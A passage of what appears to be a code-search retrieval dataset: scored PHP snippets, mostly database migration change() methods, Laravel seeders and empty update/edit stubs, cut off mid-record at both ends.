$roles_table->newEntities($entities);\n\n $roles_table->saveMany($entities_objs);\n }", "title": "" }, { "docid": "1ee69aca4f6c8359f7ba990cff5f60d5", "score": "0.6208764", "text": "public function edit() {\n\t\t\n\t}", "title": "" }, { "docid": "654c514546e0aedc16888f36f215c43c", "score": "0.6207939", "text": "public function ApplyChanges()\n {\n parent::ApplyChanges();\n \n }", "title": "" }, { "docid": "45d25a665d74d6c9fcd3c78daf940708", "score": "0.6206596", "text": "public function change()\n {\n\n $table = $this->table(\"comp_exception_handling\");\n $table->addColumn(\"systemVersion\", 'string', array(\"null\"=>true, 'comment'=>'android or ios版本'))\n ->addColumn(\"appVersion\", \"integer\",array(\"null\"=>true,'comment'=>'app版本'))\n ->addColumn(\"phoneModel\", \"string\",array(\"null\"=>true,'comment'=>'手机具体型号'))\n ->addColumn(\"message\", \"text\",array(\"null\"=>true,'comment'=>'奔溃原因'))\n ->addColumn(\"causePosition\", \"string\",array(\"null\"=>true,'comment'=>'异常发生点'))\n ->addColumn(\"netStatus\", \"string\",array(\"null\"=>true,'comment'=>'网络状态'))\n ->addColumn(\"projectName\", \"string\",array(\"null\"=>true,'comment'=>'所属项目名'))\n ->addColumn(\"create_time\", \"integer\",array(\"null\"=>true,'comment'=>'创建时间'))\n ->save();\n\n }", "title": "" }, { "docid": "8cc398f9166ec701ecd3215396e4baef", "score": "0.62061673", "text": "public function change()\n {\n if ($this->hasTable('language_translations')) {\n return;\n }\n\n $table = $this->table('language_translations');\n $table->addColumn('id', 'uuid', [\n 'default' => null,\n 'null' => false,\n ]);\n $table->addColumn('language_id', 'char', [\n 'default' => null,\n 'null' => false,\n 'limit' => 36,\n ]);\n $table->addColumn('object_foreign_key', 'char', [\n 'default' => null,\n 'null' => false,\n 'limit' => 36,\n ]);\n $table->addColumn('object_model', 'string', [\n 'default' => null,\n 'null' => false,\n 'limit' => 128,\n ]);\n $table->addColumn('object_field', 'string', [\n 'default' => null,\n 'null' => false,\n 'limit' => 128,\n ]);\n $table->addColumn('translation', 'text', [\n 'default' => null,\n 'null' => false,\n 'limit' => MysqlAdapter::TEXT_LONG,\n ]);\n $table->addColumn('created', 'datetime', [\n 'default' => null,\n 'null' => false,\n ]);\n $table->addColumn('modified', 'datetime', [\n 'default' => null,\n 'null' => false,\n ]);\n $table->addPrimaryKey([\n 'id',\n ]);\n\n $table->create();\n }", "title": "" }, { "docid": "45d12f4b06cc92411e016f2c942bddba", "score": "0.6202674", "text": "public function update(){\n\t}", "title": "" }, { "docid": "45d12f4b06cc92411e016f2c942bddba", "score": "0.6202674", "text": "public function update(){\n\t}", "title": "" }, { "docid": "e51e00b789b5837477227cca448d8d61", "score": "0.6200193", "text": "public function change()\n {\n $table = $this->table('domicilios');\n $table->addColumn('calle', 'string', array('limit' => 100 ))\n ->addColumn('colonia', 'string', array('limit' => 100 ))\n ->addColumn('noint', 'string', array('limit' => 50 ))\n ->addColumn('noext', 'string', array('limit' => 50 ))\n ->addColumn('municipio', 'string', array('limit' => 100 ))\n ->addColumn('ciudad', 'string', array('limit' => 100 ))\n ->addColumn('estado', 'string', array('limit' => 100 ))\n ->addColumn('activo', 'boolean')\n ->addColumn('created', 'datetime')\n ->addColumn('modified', 'datetime')\n ->create();\n\n $refTable = $this->table('domicilios'); \n $refTable->addColumn('cliente_id','integer',array('signed'=>'disable'))\n ->addForeignKey('cliente_id','clientes','id',array('delete'=>'CASCADE','update'=>'NO_ACTION'))\n ->addColumn('user_id','integer',array('signed'=>'disable'))\n ->addForeignKey('user_id','users','id',array('delete'=>'CASCADE','update'=>'NO_ACTION'))\n ->update();\n }", "title": "" }, { "docid": "5e45df8031a48cb51b041a025d1d290f", "score": "0.61984766", "text": "public function change($values)\n {\n echo \"Changing values for records in queryset<br>\";\n }", "title": "" }, { "docid": "e2800da09232305da581eec8fe2bc6fb", "score": "0.6187746", "text": "public function change()\n {\n $table = $this->table(\"usuarios\");\n $table->addColumn('clave','string',array('limit' => 255 , 'null' => false ))\n ->addColumn('estatus','string',array('limit' => 20 , 'null' => false ))\n ->addColumn('intentos','integer',array('null' => false , 'signed' => 'disabled'))\n ->addColumn('nivel','integer',array('null' => false , 'signed' => 'disabled'))\n ->addColumn('created','datetime')\n ->addColumn('modified','datetime')\n ->create();\n }", "title": "" }, { "docid": "a62a1f7199243ea742146726e3a763c7", "score": "0.61866015", "text": "public function change(): void\n {\n $table_name = \\ByTIC\\NotifierBuilder\\Utility\\NotifierBuilderModels::topics()->getTable();\n $exists = $this->hasTable($table_name);\n if ($exists) {\n return;\n }\n $table = $this->table($table_name);\n $table\n ->addColumn('target', 'string')\n ->addColumn('trigger', 'string')\n ->addColumn('modified', 'timestamp', [\n 'default' => 'CURRENT_TIMESTAMP',\n 'update' => 'CURRENT_TIMESTAMP',\n ])\n ->addColumn('created', 'timestamp', [\n 'default' => 'CURRENT_TIMESTAMP',\n ]);\n\n $table->addIndex(['target', 'trigger'], ['unique' => true]);\n $table->addIndex(['target']);\n $table->addIndex(['trigger']);\n\n $table->save();\n }", "title": "" }, { "docid": "801384f29e31b8351ebc06a021976fe0", "score": "0.61856234", "text": "public function update( )\n {\n\n }", "title": "" }, { "docid": "bd6727a5e58a9356ba337b82dd789814", "score": "0.6179837", "text": "public function change()\n {\n $table = $this->table('levels_teams');\n // Foreign Keys\n $table->addColumn('team_id', 'integer', array('signed'=> 'disable'))\n ->addForeignKey('team_id','teams','id',array('delete'=>'CASCADE', 'update'=>'NO_ACTION'))\n ->addColumn('level_id', 'integer', array('signed'=> 'disable'))\n ->addForeignKey('level_id','levels','id',array('delete'=>'CASCADE', 'update'=>'NO_ACTION'))\n ->addColumn('status','enum', array('values'=>'completed, uncompleted'))\n ->addColumn('movements','integer')\n ->create();\n }", "title": "" }, { "docid": "8ec59f5af7620c2105c6dd36788953d3", "score": "0.6172375", "text": "public function change()\n {\n $table = $this->table('cupones');\n $table->addColumn('titulo', 'string', array('limit' => 100))\n ->addColumn('banner', 'text')\n ->addColumn('descripcion', 'text')\n ->addColumn('ciudad', 'string', array('limit' => 100))\n ->addColumn('img1', 'text')\n ->addColumn('img2', 'text')\n ->addColumn('img3', 'text')\n ->addColumn('img4', 'text')\n ->addColumn('img5', 'text')\n ->addColumn('valor', 'string', array('limit' => 100))\n ->addColumn('descuento', 'string', array('limit' => 100))\n ->addColumn('fechaInicio', 'date')\n ->addColumn('horaInicio', 'time')\n ->addColumn('fechaTerminacion', 'date')\n ->addColumn('horaTerminacion', 'time')\n ->addColumn('created', 'datetime')\n ->addColumn('modified', 'datetime')\n ->create();\n\n $keySucursal = $this->table('cupones');\n $keySucursal->addColumn('sucursal_id', 'integer', array('signed' => 'disable'))\n ->addForeignKey('sucursal_id', 'sucursales', 'id', array('delete' => 'CASCADE', 'update' => 'NO_ACTION'))\n ->update();\n\n // $keyCategoria = $this->table('cupones');\n // $keyCategoria->addColumn('categoria_id', 'integer', array('signed' => 'disable'))\n // ->addForeignKey('categoria_id', 'categorias', 'id', array('delete' => 'NO_ACTION', 'update' => 'NO_ACTION'))\n // ->update();\n }", "title": "" }, { "docid": "6125e22f0eabb24076a449e878125426", "score": "0.6169617", "text": "protected function update(){\n\t}", "title": "" }, { "docid": "6fce4bfb2d63350b8ea4a278debcef43", "score": "0.616303", "text": "public function change()\n {\n $table = $this->table('category');\n $table->addColumn('secret', 'boolean', array(\"default\" => 0))\n ->update();\n }", "title": "" }, { "docid": "e40fd418b921e3e62f5902a669637eba", "score": "0.61536485", "text": "public function change() {\n # One char -> One job. Using a charJobs table, I can make it n:m.\n # Jobs should probably provide RPG statistics.\n $donull = [\"null\"=>true];\n $jobs = $this->table(\"hotel_jobs\");\n $jobs\n ->addColumn(\"title\",\"string\", [\"limit\"=>30])\n ->addColumn(\"where_id\",\"integer\")\n ->addColumn(\"intro\",\"string\",[\"limit\"=>200])\n ->addColumn(\"desc\",\"text\")\n ->create();\n\n $places = $this->table(\"hotel_places\");\n $places\n ->addColumn(\"title\",\"string\",[\"limit\"=>30])\n ->addColumn(\"desc\",\"text\")\n ->addColumn(\"image_url\",\"string\",[\"limit\"=>255]+$donull)\n ->create();\n\n $xynu = $this->table(\"system_xynu\");\n $xynu\n # Who taught her...\n ->addColumn(\"uID\",\"integer\")\n # ...this line?\n ->addColumn(\"sentence\",\"text\")\n ->create();\n\n # FK links\n $jobs->addForeignKey(\"where_id\",\"hotel_places\",\"id\",[\"delete\"=>\"CASCADE\",\"update\"=>\"NO_ACTION\"]);\n $jobs->save();\n }", "title": "" }, { "docid": "99ed289a15485d5777e53825867aacf1", "score": "0.6150959", "text": "public function update() {\n }", "title": "" }, { "docid": "e6d9e72d191b5a6c3d58cccb2fe1d233", "score": "0.6148422", "text": "public function update() {\n\n }", "title": "" }, { "docid": "e6d9e72d191b5a6c3d58cccb2fe1d233", "score": "0.6148422", "text": "public function update() {\n\n }", "title": "" }, { "docid": "3e5dbbdb953747d0469d1915bb33be29", "score": "0.6140861", "text": "protected function changePassword()\n {\n // TODO: Implement ChangePassword() method.\n }", "title": "" }, { "docid": "4f38405a10ac3edbbc406fa4a9cda892", "score": "0.61349666", "text": "public function ApplyChanges(){\n parent::ApplyChanges();\n }", "title": "" }, { "docid": "84184205d14df1600fab186043d608d7", "score": "0.6130102", "text": "public function change()\n {\n $sql = \"create table `xl_sdk`(\n id int(11) unsigned not null auto_increment PRIMARY key,\n title varchar(80) not null default '' comment'名称',\n start_path varchar(200) not null default '' comment'启动路径',\n start_class varchar(200) not null default '' comment'启动类名',\n create_time int(11) unsigned not null default 0 comment'创建时间',\n update_time int(11) unsigned not null default 0 comment'更新时间'\n )engine=innodb default charset utf8\";\n\n \\think\\Db::execute($sql);\n }", "title": "" }, { "docid": "1b1227731e513e4d3a1cf26540d3ad0d", "score": "0.6115583", "text": "public function change()\n {\n $users = $this->table('invoice');\n $users->addColumn('paid', 'enum', ['values' => ['0', '1']])\n ->addColumn('payment_method', 'enum', ['values' => ['bank','cash', 'card']])\n ->addColumn('payment_info', 'string', array('limit' => 255))\n ->addColumn('paid_at', 'datetime')\n ->addColumn('processed_at', 'datetime')\n ->addColumn('shipping_price', 'decimal')\n ->addColumn('coupon_code', 'string', array('limit' => 50))\n ->addColumn('coupon_value', 'decimal')\n ->addColumn('total_amount', 'decimal')\n ->addColumn('discount_percent', 'decimal')\n ->addColumn('paid_amount', 'decimal')\n ->addColumn('allow_refund', 'enum', ['values' => ['0', '1']])\n ->save();\n }", "title": "" }, { "docid": "52925d0872111e5894fd83800e1f07fe", "score": "0.61142474", "text": "protected function _update()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "066a8c63e4b4276c9e349f2259aecc35", "score": "0.61005133", "text": "public function change() {\n\t\t$this->table('states')\n\t\t\t->addColumn('country_id', 'integer', [\n\t\t\t\t'default' => null,\n\t\t\t\t'limit' => null,\n\t\t\t\t'null' => false,\n\t\t\t\t'signed' => false,\n\t\t\t])\n\t\t\t->addColumn('code', 'string', [\n\t\t\t\t'default' => null,\n\t\t\t\t'limit' => 6,\n\t\t\t\t'null' => false,\n\t\t\t])\n\t\t\t->addColumn('name', 'string', [\n\t\t\t\t'default' => null,\n\t\t\t\t'limit' => 60,\n\t\t\t\t'null' => false,\n\t\t\t])\n\t\t\t->addColumn('lat', 'float', [\n\t\t\t\t'default' => null,\n\t\t\t\t'null' => true,\n\t\t\t\t'precision' => 10,\n\t\t\t\t'scale' => 6,\n\t\t\t])\n\t\t\t->addColumn('lng', 'float', [\n\t\t\t\t'default' => null,\n\t\t\t\t'null' => true,\n\t\t\t\t'precision' => 10,\n\t\t\t\t'scale' => 6,\n\t\t\t])\n\t\t\t->addColumn('modified', 'datetime', [\n\t\t\t\t'default' => null,\n\t\t\t\t'limit' => null,\n\t\t\t\t'null' => false,\n\t\t\t])\n\t\t\t->create();\n\t}", "title": "" }, { "docid": "9af1c734dcd322284305957aeed48bb5", "score": "0.6092036", "text": "public function edit()\n {\n \n }", "title": "" }, { "docid": "a104916eb96b2e36dbf5468d564abfe8", "score": "0.6075182", "text": "public function edit()\r\n\t{\t\t\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "fb939bf4fcccaec82fffcf36fc5dc053", "score": "0.6074934", "text": "public function change()\n {\n $task = $this->getTask();\n $subtask = $this->getSubtask();\n\n $status = $this->subtaskStatusModel->toggleStatus($subtask['id']);\n\n if ($this->request->getIntegerParam('refresh-table') === 0) {\n $subtask['status'] = $status;\n $html = $this->helper->subtask->toggleStatus($subtask, $task['project_id']);\n } else {\n $html = $this->renderTable($task);\n }\n\n $this->response->html($html);\n }", "title": "" }, { "docid": "1d9305c59bdb24e255e68ff69deeb3f3", "score": "0.60427636", "text": "function change_state($new_value){\n\t\t$success = $this->change_value('state',$new_value);\n\t\tif($success === true){\n\t\t\t$this->state = $new_value;\n\t\t}\n\t\treturn $success;\n\t}", "title": "" }, { "docid": "ca7d297ae661d633780d21252e3f437f", "score": "0.60371864", "text": "public function change()\n {\n $table = $this->table('activities');\n $table->addColumn('home_page', 'integer',['default' => 0])\n ->update();\n $inquiry = $this->table('inquiries');\n $inquiry->addColumn('home_page', 'integer',['default' => 0])\n ->update();\n }", "title": "" }, { "docid": "a4844e152ba83fb3e947cad9d52e4beb", "score": "0.60351986", "text": "public function change()\n {\n $table = $this->table('customer_service', ['engine'=>'InnoDB','comment'=>'微信客服表', 'id'=>'cs_id']);\n $table->addColumn('kf_account', 'string', ['limit' => 45, 'null'=>false, 'default'=>'', 'comment'=>'客服账号'])\n ->addColumn('kf_headimgurl', 'string', ['limit' => 255, 'null'=>false, 'default'=>'', 'comment'=>'客服头像'])\n ->addColumn('kf_id', 'integer', ['limit' => 11, 'null'=>false, 'default'=>0, 'comment'=>'客服编号'])\n ->addColumn('kf_nick', 'string', ['limit' => 255,'null'=>false, 'default'=> '', 'comment'=>'客服昵称'])\n ->addColumn('kf_wx', 'string', ['limit' => 128,'null'=>false, 'default'=> '', 'comment'=>'客服微信号'])\n ->addColumn('kf_qr_code', 'string', ['limit' => 255,'null'=>false, 'default'=> '', 'comment'=>'客服二维码'])\n ->addColumn('count_member', 'integer', ['limit' => 11,'null'=>false, 'default'=> 0, 'comment'=>'绑定微信用户数量'])\n ->addColumn('createTime', 'integer', ['limit' => 11,'null'=>false, 'default'=>0, 'comment'=>'创建时间'])\n ->addColumn('status', 'integer', ['limit' => \\Phinx\\Db\\Adapter\\MysqlAdapter::INT_TINY,'null'=>false, 'default'=>0, 'comment'=>'状态:1正常;-1禁止'])\n ->save();\n }", "title": "" }, { "docid": "cfa8004cea58a3513ec3f72ef3eeb003", "score": "0.6029312", "text": "public function change()\n {\n $table = $this->table('tb_venue',array('engine'=>'InnoDB'));\n $table->addColumn('venue_no', 'integer',array('limit' => 10,'comment'=>'场馆编号'))\n ->addColumn('name', 'string',array('limit' => 30,'comment'=>'场馆名称'))\n ->addColumn('space_id', 'string',array('limit' => 30,'comment'=>'所属空间'))\n ->addColumn('accommodate_num', 'integer',array('limit' => 11,'comment'=>'容纳人数'))\n ->addColumn('remark', 'string',array('limit' => 255,'comment'=>'备注'))\n ->addColumn('disable_time', 'string',array('limit' => 50,'comment'=>'禁用时间范围'))\n ->addColumn('status', 'integer',array('limit' => 2,'comment'=>'状态'))\n ->addTimestamps()\n ->create();\n }", "title": "" }, { "docid": "f604e0d53c1e14f62026d148584ed19c", "score": "0.6028691", "text": "public function changesAction() {\n\n $this->view->navigation = $navigation = Engine_Api::_()->getApi('menus', 'core')->getNavigation('sitealbum_admin_main', array(), 'sitealbum_admin_main_changes');\n $this->view->showTip = 1;\n }", "title": "" }, { "docid": "07d983e9416674b9753fefb8554a1cd1", "score": "0.60254973", "text": "public function ChangeNameAction() {\n }", "title": "" }, { "docid": "bc36e158b87a24485fa55f1913e14e6c", "score": "0.60227865", "text": "public function change()\n {\n $table = $this->table('mahasiswa', array('id' => 'id'));\n $table->addColumn('nama', 'string', array('null' => true));\n $table->addColumn('alamat', 'string', array('null' => true));\n $table->addColumn('email', 'string', array('null' => true));\n $table->addColumn('phone', 'string', array('null' => true));\n $table->addIndex(array('id'));\n $table->save();\n }", "title": "" }, { "docid": "dab2c5d3929d8cc6c1d6a104f7a8b13f", "score": "0.6020217", "text": "public function edit()\n {\n \n \n }", "title": "" }, { "docid": "cf01723b8dff4fc54232d0189268ea21", "score": "0.6011244", "text": "public function edit()\n {\n \n }", "title": "" }, { "docid": "e0f7bd2971ae188ee908b598adc2fa5f", "score": "0.59990823", "text": "public function updateData()\r\n {\r\n\r\n }", "title": "" }, { "docid": "9c5e94d09589a0cedcb330b6c956d33d", "score": "0.5990482", "text": "public function update() {}", "title": "" }, { "docid": "f4099fdabc976c1d2631faa8d5320f86", "score": "0.5986489", "text": "public function trigger_before_update() {\n\t\t\n\t}", "title": "" }, { "docid": "5ef7ee681f8eea4e2d144139ac211e12", "score": "0.59743834", "text": "public function update() {}", "title": "" }, { "docid": "f0376993a64c162721fcbde3612c660b", "score": "0.59721965", "text": "public function changes_editing()\n\t{\n\t\t$this->form_validation->set_rules('name', 'Name', 'trim|required|xss_clean');\n\t\t$this->form_validation->set_rules('description', 'Changes', 'trim|required|xss_clean');\t\t\n\n\t\tif($this->form_validation->run() == FALSE)\n\t\t{\n\t\t\t//validation with errors\t\n\t\t\t$this->session->set_flashdata('the_error','Error in editing policy, try again.');\n\t\t\tredirect('profile_admin/manage_changes');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//update without errors\n\t\t\tif($data = $this->profile_admin_model->get_changes_update())\n\t\t\t{ \n\t\t\t\t//fabric type update successful\n\t\t\t\tredirect('profile_admin/manage_changes');\n\t\t\t}\n\t\t\telse{\n\t\t\t\t//profile update not successful\n\t\t\t\t$this->session->set_flashdata('the_error','Error in editing policy, try again.');\n\t\t\t\tredirect('profile_admin/manage_changes');\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "3bccc75858a7fdb9b5cb5f3185c1da16", "score": "0.5968398", "text": "function setName($new_name)\n\t\t{\n\t\t\t$this->name = $new_name;\n\t\t}", "title": "" }, { "docid": "8cc3750be544d7dab78a44aaae6411e4", "score": "0.59636855", "text": "public function change()\n {\n $table = $this->table('itens');\n $table->addColumn('order_id', 'integer', [\n 'null' => false,\n ]);\n $table->addColumn('product_id', 'integer', [\n 'null' => true,\n ]);\n $table->addColumn('amount', 'integer', [\n 'null' => false,\n ]);\n $table->addColumn('unitary_value', 'decimal', [\n 'null' => false,\n ]);\n $table->addColumn('total_value', 'decimal', [\n 'null' => false,\n ]);\n $table->addIndex(['order_id']);\n $table->addIndex(['product_id']);\n $table->addForeignKey('order_id', 'orders', 'id', ['delete'=> 'CASCADE', 'update'=> 'CASCADE']);\n $table->addForeignKey('product_id', 'products', 'id', ['delete'=> 'SET NULL', 'update'=> 'SET NULL']);\n $table->create();\n }", "title": "" }, { "docid": "06e40265d035656ecb4080ffcc241b24", "score": "0.5961736", "text": "public function ApplyChanges()\n {\n parent::ApplyChanges();\n }", "title": "" }, { "docid": "b5331bc91892d2ce40ff5a165ea79fc3", "score": "0.59591746", "text": "public function change()\n {\n $this\n ->table('notifications')\n ->addColumn('text', 'string', [\n 'limit' => 1,\n 'null' => true,\n ])\n ->addColumn('link_id', 'string', [\n 'limit' => 1,\n 'null' => true,\n ])\n ->addColumn('link_controller', 'string', [\n 'limit' => 1,\n 'null' => true,\n ])\n ->addColumn('link_prefix', 'string', [\n 'limit' => 1,\n 'null' => true,\n ])\n ->addColumn('link_action', 'string', [\n 'limit' => 1,\n 'null' => true,\n ])\n ->save();\n }", "title": "" } ]
0ac7bdb02e5fbb03eb7a9ee5316bf396
Run the database seeds.
[ { "docid": "22412f9a74ddddc822478df3dcf16e37", "score": "0.0", "text": "public function run()\n {\n DB::table('scores')->insert([\n [\n 'student_id' => '3',\n 'score' => '75',\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'), \n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ],\n [\n 'student_id' => '4',\n 'score' => '100',\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'), \n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ],\n ]);\n }", "title": "" } ]
[ { "docid": "74adb703f4d2ee8eeea828c6234b41f3", "score": "0.81044954", "text": "public function run()\n {\n Eloquent::unguard();\n\n $this->seed('Categories');\n\n // Illustration\n $this->seed('Supports');\n $this->seed('Illustrations');\n\n // Photography\n $this->seed('Photosets');\n $this->seed('Collections');\n $this->seed('Photos');\n\n $this->seed('Articles');\n $this->seed('Repositories');\n $this->seed('Services');\n $this->seed('Stories');\n $this->seed('Tableaux');\n $this->seed('Tracks');\n }", "title": "" }, { "docid": "33aedeaa083b959fa5f66e27a7da3265", "score": "0.8026505", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t//Genre\n \\DB::table('genres')->insert(\n \t['name' => 'Comedia seed', 'ranking' => 354784395, 'active' => 1]\n );\n\n \\DB::table('actors')->insert([\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5],\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5],\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5],\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5],\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5],\n \t['first_name' => 'Maxi', 'last_name' => 'Yañez', 'rating' => 5]\n ]);\n }", "title": "" }, { "docid": "0874a499bef2a647494554309f6aa0cd", "score": "0.80049884", "text": "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('ouse')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('ouse')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'fonte' => $faker->sentence,\n 'layout' => 'content-'.$i,\n 'indicadores' => json_encode([$i]),\n 'regras' => json_encode([$faker->words(3)]),\n 'types' => json_encode([$faker->words(2)]),\n 'categorias' => json_encode([$faker->words(4)]),\n 'tags' => json_encode([$faker->words(5)]),\n 'active' => true,\n 'status' => true,\n ]);\n }\n\n\n }", "title": "" }, { "docid": "2fca9bf0725abd081819588688399860", "score": "0.7926935", "text": "public function run()\n {\n $this->call(VideogameSeeder::class);\n $this->call(CategorySeeder::class);\n User::factory(15)->create();\n DB::table('users')->insert([\n 'name' => 'Santiago',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345678'),\n 'address' => 'C/ Ultra',\n 'rol' => 'admin'\n ]);\n //Ratin::factory(50)->create();\n Purchase::factory(20)->create();\n //UserList::factory(1)->create();\n }", "title": "" }, { "docid": "17a49f970cd10e5cfdebd0f59e100f60", "score": "0.79215413", "text": "public function run()\n {\n User::create([\n 'first_name' => 'Administrator',\n 'last_name' => 'One',\n 'email' => '[email protected]',\n 'role_id' => 81,\n 'password' => bcrypt('mmmm')\n ]);\n User::create([\n 'first_name' => 'User',\n 'last_name' => 'One',\n 'email' => '[email protected]',\n 'role_id' => 3,\n 'password' => bcrypt('mmmm')\n ]);\n\n Role::create(\n ['name' => 'Contributor', 'id' => 3]\n );\n Role::create(\n ['name' => 'Administrator', 'id' => 81]\n );\n\n factory(User::class, 5)->create()->each(function ($user) {\n $user->posts()->saveMany(factory(Post::class, rand(2, 3))->make());\n });\n }", "title": "" }, { "docid": "6fd37af4061bceb7c3ed860b1db5b07b", "score": "0.7916311", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 1)->create([\n 'role' => 'admin'\n ]);\n factory(App\\Question::class, 1)->create(['user_id' => 1])->each(function ($question) {\n $question->hashtags()->save(factory(App\\Hashtag::class)->make());\n });\n factory(App\\Comment::class, 1)->create([\n 'question_id' => 1\n ]);\n }", "title": "" }, { "docid": "2806867c15ca7bd71920629767c01dd4", "score": "0.7899936", "text": "public function run()\n {\n Model::unguard();\n\n $faker=Faker\\Factory::create();\n App\\category::create(['title'=>'Public']);\n App\\category::create(['title'=>'Private']);\n App\\category::create(['title'=>'Family']);\n\n\n\n // $this->call(UserTableSeeder::class);\n foreach(range(1,100) as $index) {\n App\\Post::create([\n 'title'=>$faker->realText(30,2),\n 'content'=>$faker->realText(200,2),\n 'category_id'=>App\\category::all()->random()->id\n\n ]);\n }\n Model::reguard();\n }", "title": "" }, { "docid": "96081f5559e3c4bb80f4e56c33d545f5", "score": "0.7897222", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n Type::insert(array(\n ['type' => 'Checkbox'], \n ['type' => 'Rango'], \n ['type' => 'Radio'], \n ['type' => 'Select']\n ));\n factory(App\\Survey::class, 5)->create()->each(function ($u){\n for ($i=0; $i <rand(1,10) ; $i++) { \n $u->questions()->save(factory(App\\Question::class)->make());\n }\n });\n }", "title": "" }, { "docid": "71daf483f301960f0f88e0c893f58c36", "score": "0.7881348", "text": "public function run()\n {\n $this->call(UserSeeder::class);\n \n\n factory(App\\Article::class,50)\n ->create();\n \n factory(App\\Comment::class,50)\n ->create();\n\n factory(App\\Reply::class,50)\n ->create();\n\n factory(App\\Like::class,50)\n ->create();\n \n $articles = App\\Article::all();\n\n factory(App\\Tag::class,5)->create()\n ->each(function($tag) use ($articles){\n $tag->articles()->attach(\n $articles->random(6,1)->pluck('id')->toArray()\n );\n });\n }", "title": "" }, { "docid": "0b109c2cad785f4ff36ecf7d46b132de", "score": "0.78785", "text": "public function run()\n\t{\n\t\tModel::unguard();\n\n\t\t// $this->call('UserTableSeeder');\n\n Ruta::create([\n 'descripcion'=>'Cochan',\n 'observacion'=>'-'\n ]);\n Anexo::create([\n 'descripcion'=>'Santa Aurelia',\n 'observacion'=>'-',\n 'ruta_id'=>1\n ]);\n\n Proveedor::create([\n 'name'=>'Evhanz',\n 'apellidoP'=>'Hernandez',\n 'apellidoM'=>'Salazar',\n 'dni'=>'47085011',\n 'celular'=>'990212662',\n 'estado'=>true,\n 'anexo_id'=>1\n ]);\n\n Recurso::create([\n 'descripcion'=>'casa toro',\n 'tipo'=>'interno'\n ]);\n\n\n\n\n\n\n\n\t}", "title": "" }, { "docid": "0c456002637a63e2342e712744fc57f7", "score": "0.78721434", "text": "public function run()\n {\n \n // $categories = factory(Category::class, 10)->create();\n // $categories->each( function($category) {\n // $category->categories()->saveMany( \n // factory(Category::class, rand(0,5))->make()\n // );\n // });\n\n // $categories->each( function($category) {\n // $category->posts()->saveMany(\n // factory(Post::class, rand(0, 4) )->make()\n // );\n // });\n $this->call(LaratrustSeeder::class);\n }", "title": "" }, { "docid": "ace435808d0bbff7fbf10bb7260d46e1", "score": "0.78685874", "text": "public function run()\n {\n // factory(Author::class, 50)->create();\n Author::factory()->count(50)->create();\n\n // for ($i=0; $i<50; $i++) {\n\n // $name = \"Vardenis\".($i+1);\n // $surname = \"Pavardenis\".($i+1);\n // $username = \"Slapyvardis\".($i+1);\n\n // DB::table(\"authors\")->insert([\n // 'name'=> $name ,\n // 'surname'=> $surname ,\n // 'username'=> $username ,\n // ]);\n // }\n\n // DB::table(\"authors\")->insert([\n\n // 'name'=> 'Vardenis' ,\n // 'surname'=> 'Pavardenis',\n // 'username'=> 'Slapyvardis',\n // ]);\n }", "title": "" }, { "docid": "62d26c53627928e22ea575cc46bf775a", "score": "0.7849954", "text": "public function run()\n {\n Category::create([\n 'name' => 'Belleza',\n 'status' => 'A'\n ]);\n\n SubCategory::create([\n 'category_id' => 1,\n 'name' => 'Shampoo'\n ]);\n\n SubCategory::create([\n 'category_id' => 1,\n 'name' => 'Acondicionador'\n ]);\n\n SubCategory::create([\n 'category_id' => 1,\n 'name' => 'Maquillaje'\n ]);\n\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "a07071a752d8cf92db253078ae570196", "score": "0.7844956", "text": "public function run()\n {\n $this->call(SuperuserSeeder::class);\n //$this->call(UserSeeder::class);\n\n Article::truncate();\n Category::truncate();\n User::truncate(); \n\n $basica = Category::factory()->create([ \n 'name' => 'Matemática Básica',\n 'slug' => 'matematica_basica',\n ]);\n $equacoes = Category::factory()->create([ \n 'name' => 'Equações',\n 'slug' => 'equacoes',\n ]);\n $funcoes = Category::factory()->create([ \n 'name' => 'Funções',\n 'slug' => 'funcoes',\n ]);\n\n $user = User::factory()->create([\n 'name' => 'Thiago Ryo',\n ]);\n\n Article::factory(10)->for($basica)->create([\n 'user_id' => $user->id,\n ]);\n\n Article::factory(7)->for($equacoes)->create([\n 'user_id' => $user->id,\n ]);\n Article::factory(15)->for($funcoes)->create([\n 'user_id' => $user->id,\n ]);\n }", "title": "" }, { "docid": "1696cae69b4e0dea414a1cad524c579c", "score": "0.78417265", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class, 10)->create();\n factory(Product::class, 20)->create();\n factory(Category::class, 8)->create();\n factory(Portfolio::class, 8)->create();\n factory(Article::class, 30)->create();\n }", "title": "" }, { "docid": "177d3ebe2b223afa4e9bd6a908d0f913", "score": "0.7839857", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //factory(App\\Article::class,5)->create();\n //factory(App\\Topic::class,20)->create();\n //factory(App\\Test::class,50)->create();\n //factory(App\\Question::class,60)->create();\n factory(App\\ArticleTest::class,5)->create();\n factory(App\\SubjectTest::class,1)->create();\n }", "title": "" }, { "docid": "124d9b3ae818d6f7c553836f83b3f26d", "score": "0.7836289", "text": "public function run()\n {\n Schema::disableForeignKeyConstraints();\n\n // $this->call(UserSeeder::class);\n DB::table('teams')->truncate();\n DB::table('users')->truncate();\n DB::table('campaigns')->truncate();\n DB::table('memberships')->truncate();\n\n Schema::enableForeignKeyConstraints();\n\n // add users \n $usersfile = 